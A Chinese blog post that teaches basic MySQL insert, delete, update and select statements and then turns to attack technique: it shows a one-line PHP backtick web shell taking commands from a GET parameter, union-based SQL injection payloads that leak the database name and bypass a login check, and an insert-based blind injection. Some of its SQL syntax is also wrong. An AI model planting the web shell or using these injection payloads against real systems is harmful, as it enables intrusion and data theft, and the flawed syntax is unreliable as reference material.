MySQL的增删改查

增、删、改、查,贴码:

1、增加数据

  • insert into table_name value ('1','2',3…)

  • 也可以通过set指定添加的字段:insert into table_name set ('1',3…) value(1,2,3…)

那么第二条跟第一条有什么区别呢?

举个栗子:user表中有三个字段;

用第一条命令添加数据 value 值后面必须有三个值;

而用第二条命令 ,可以通过 set 设置指明 我就需要 添加 第一列和第三列的,第二列不需要填,那么value值就填俩个值就OK;

注:添加数据时可以同 ` 这个符号(ESC下面一个的按键)表明这是个字段,是MySQL的转义符,如: insert into user value (`juzi`,`20`)  ;用于包含数据库名、表名、字段名,避免与其他关键字冲突;

小技巧:<?php $test=$_GET['zxc']; echo `$test`;   ?>   这句话等效于  <?php eval($_GET['zxc']); ?>  这句话就是使用 ` 这个反勾号达到的效果;

2、删除数据

  • delete from table_name where id=1;  #删数据
  • drop database db_name;        #删数据库
  • drop table  table_name;        #删表

3、修改数据

  •   update table_name set column_name='%d' where id =%d    %d 作为可以替换的数据,column_name 是 字段名

 

4、查找数据

  • select * from table_name   #查找数据
  • select column_name from table_name where column_name=%d      %d 作为可以替换的数据

写个 查找数据 时的注入漏洞吧;

举栗:

若原查询语句为: select  username  from user where id='$id'    或为  select  *  from  user  where username='$username'&passwd='$passwd'    其中 $id、$username、$passwdd 是 通过浏览器 接收过来的变量,即可控变量;(假设没做过滤)

那么构造语句为:

$id = 0' union select 1,database(),'3  

$username = 0' union select 1,database(),3#     

$passwd = 不写也行

select  username  from user where id='0' union select 1,database(),'3'  以及  select * from user where username='0' union select 1,database(),3#  '&passwd=''   井号后面不解析,注释了

 

那么再举个栗子:

通过 insert into 增加数据 构造注入;

insert into table_name value('1','2','3'...)    1,2,3为前端浏览器输入的内容,即可控制;

构造语句:insert into table_name value('1','0'+substr((select database()) from 1 for 1)+'0','3')  必要时,可以在 substr 外面加个 ASCII()进行转码;为什么这么写,上篇unfinish有提到;

 

posted @ 2020-08-18 09:14  友好邻居  阅读(112)  评论(0编辑  收藏  举报